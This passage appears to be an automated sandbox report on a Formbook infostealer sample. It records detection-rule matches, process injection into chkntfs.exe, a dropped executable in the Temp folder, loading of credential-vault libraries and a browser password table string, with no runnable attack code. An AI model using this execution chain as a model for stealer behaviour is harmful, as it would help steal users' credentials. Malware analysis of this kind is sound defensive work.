Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0487DAAC	14_2_0487DAAC
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04881AA3	14_2_04881AA3
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0488DAC6	14_2_0488DAC6
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0489FA49	14_2_0489FA49
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04897A46	14_2_04897A46
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04853A6C	14_2_04853A6C
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_04855BF0	14_2_04855BF0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0481DBF9	14_2_0481DBF9
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0489FB76	14_2_0489FB76
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_047FFB80	14_2_047FFB80
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_005A19A0	14_2_005A19A0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_005BA410	14_2_005BA410
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0059CB70	14_2_0059CB70
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0059CB68	14_2_0059CB68
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0059CD90	14_2_0059CD90
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0059AE10	14_2_0059AE10
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0059AF55	14_2_0059AF55
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_0059AFE9	14_2_0059AFE9
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_005A34F0	14_2_005A34F0
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_045FC11C	14_2_045FC11C
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_045FB188	14_2_045FB188
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_045FBC67	14_2_045FBC67
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: 14_2_045FBD83	14_2_045FBD83

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: String function: 012F7E54 appears 111 times
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: String function: 0131EA12 appears 86 times
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: String function: 0129B970 appears 277 times
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: String function: 012E5130 appears 58 times
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: String function: 0132F290 appears 105 times
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: String function: 04815130 appears 58 times
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: String function: 0484EA12 appears 86 times
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: String function: 04827E54 appears 111 times
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: String function: 0485F290 appears 105 times
Source: C:\Windows\SysWOW64\chkntfs.exe	Code function: String function: 047CB970 appears 277 times

Source: 8hd98EhtIFcYkb8.exe, 00000000.00000002.1239382924.000000000099E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 8hd98EhtIFcYkb8.exe
Source: 8hd98EhtIFcYkb8.exe, 00000000.00000002.1241401720.000000000390E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs 8hd98EhtIFcYkb8.exe
Source: 8hd98EhtIFcYkb8.exe, 00000000.00000000.1229629788.00000000003E8000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameOgps.exe, vs 8hd98EhtIFcYkb8.exe
Source: 8hd98EhtIFcYkb8.exe, 00000000.00000002.1250425384.0000000006B30000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameRT.dll. vs 8hd98EhtIFcYkb8.exe
Source: 8hd98EhtIFcYkb8.exe, 00000000.00000002.1250744676.00000000072F0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs 8hd98EhtIFcYkb8.exe
Source: 8hd98EhtIFcYkb8.exe, 00000000.00000002.1240108906.0000000002788000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRT.dll. vs 8hd98EhtIFcYkb8.exe
Source: 8hd98EhtIFcYkb8.exe, 00000003.00000002.1431730936.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCHKNTFS.EXEj% vs 8hd98EhtIFcYkb8.exe
Source: 8hd98EhtIFcYkb8.exe, 00000003.00000002.1431995842.000000000139D000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 8hd98EhtIFcYkb8.exe
Source: 8hd98EhtIFcYkb8.exe	Binary or memory string: OriginalFilenameOgps.exe, vs 8hd98EhtIFcYkb8.exe

Source: 8hd98EhtIFcYkb8.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 25.2.aj34fjqh.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 3.2.8hd98EhtIFcYkb8.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 3.2.8hd98EhtIFcYkb8.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 25.2.aj34fjqh.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.1431852540.0000000001110000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000019.00000002.3534960934.00000000018F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000E.00000002.3691864413.0000000000590000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000019.00000002.3530426239.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000E.00000002.3705299437.0000000002C50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.1431338720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000010.00000002.3708009401.0000000005850000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000E.00000002.3705534069.0000000004500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.1433410329.00000000020C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000D.00000002.3705085363.0000000002DB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: 8hd98EhtIFcYkb8.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: EuOdzX7Ehz6t1H3[1].exe.14.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: aj34fjqh.exe.14.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, A297vOAUIe0qEnXTYd.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, A297vOAUIe0qEnXTYd.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, YO0H0ElFyecC1S4kEO.cs	Security API names: _0020.SetAccessControl
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, YO0H0ElFyecC1S4kEO.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.8hd98EhtIFcYkb8.exe.3ab04b0.5.raw.unpack, YO0H0ElFyecC1S4kEO.cs	Security API names: _0020.AddAccessRule
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, YO0H0ElFyecC1S4kEO.cs	Security API names: _0020.SetAccessControl
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, YO0H0ElFyecC1S4kEO.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, YO0H0ElFyecC1S4kEO.cs	Security API names: _0020.AddAccessRule
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, YO0H0ElFyecC1S4kEO.cs	Security API names: _0020.SetAccessControl
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, YO0H0ElFyecC1S4kEO.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.8hd98EhtIFcYkb8.exe.72f0000.9.raw.unpack, YO0H0ElFyecC1S4kEO.cs	Security API names: _0020.AddAccessRule
Source: 0.2.8hd98EhtIFcYkb8.exe.3b342d0.6.raw.unpack, A297vOAUIe0qEnXTYd.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: 0.2.8hd98EhtIFcYkb8.exe.28f4678.4.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.8hd98EhtIFcYkb8.exe.68c0000.7.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.8hd98EhtIFcYkb8.exe.2915848.3.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@11/5@16/14

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\8hd98EhtIFcYkb8.exe.log

Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net data provider for sqlserver

Source: C:\Windows\SysWOW64\chkntfs.exe

File created: C:\Users\user~1\AppData\Local\Temp\j77tfG6

Source: 8hd98EhtIFcYkb8.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 8hd98EhtIFcYkb8.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.79%

Source: C:\Windows\SysWOW64\chkntfs.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: chkntfs.exe, 0000000E.00000003.1615124311.0000000002A6F000.00000004.00000020.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000002.3694875633.0000000002A8F000.00000004.00000020.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000003.1615970676.0000000002A5B000.00000004.00000020.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000003.1615970676.0000000002A8F000.00000004.00000020.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000002.3694875633.0000000002A5B000.00000004.00000020.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000003.1615187319.0000000002A5B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 8hd98EhtIFcYkb8.exe

ReversingLabs: Detection: 28%

Source: unknown	Process created: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe "C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe"
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process created: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe "C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe"
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	Process created: C:\Windows\SysWOW64\chkntfs.exe "C:\Windows\SysWOW64\chkntfs.exe"
Source: C:\Windows\SysWOW64\chkntfs.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Windows\SysWOW64\chkntfs.exe	Process created: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe "C:\Users\user~1\AppData\Local\Temp\aj34fjqh.exe"
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process created: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe "C:\Users\user~1\AppData\Local\Temp\aj34fjqh.exe"
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process created: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe "C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe"	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	Process created: C:\Windows\SysWOW64\chkntfs.exe "C:\Windows\SysWOW64\chkntfs.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process created: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe "C:\Users\user~1\AppData\Local\Temp\aj34fjqh.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process created: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe "C:\Users\user~1\AppData\Local\Temp\aj34fjqh.exe"	Jump to behavior

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: ifsutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Section loaded: cryptsp.dll	Jump to behavior
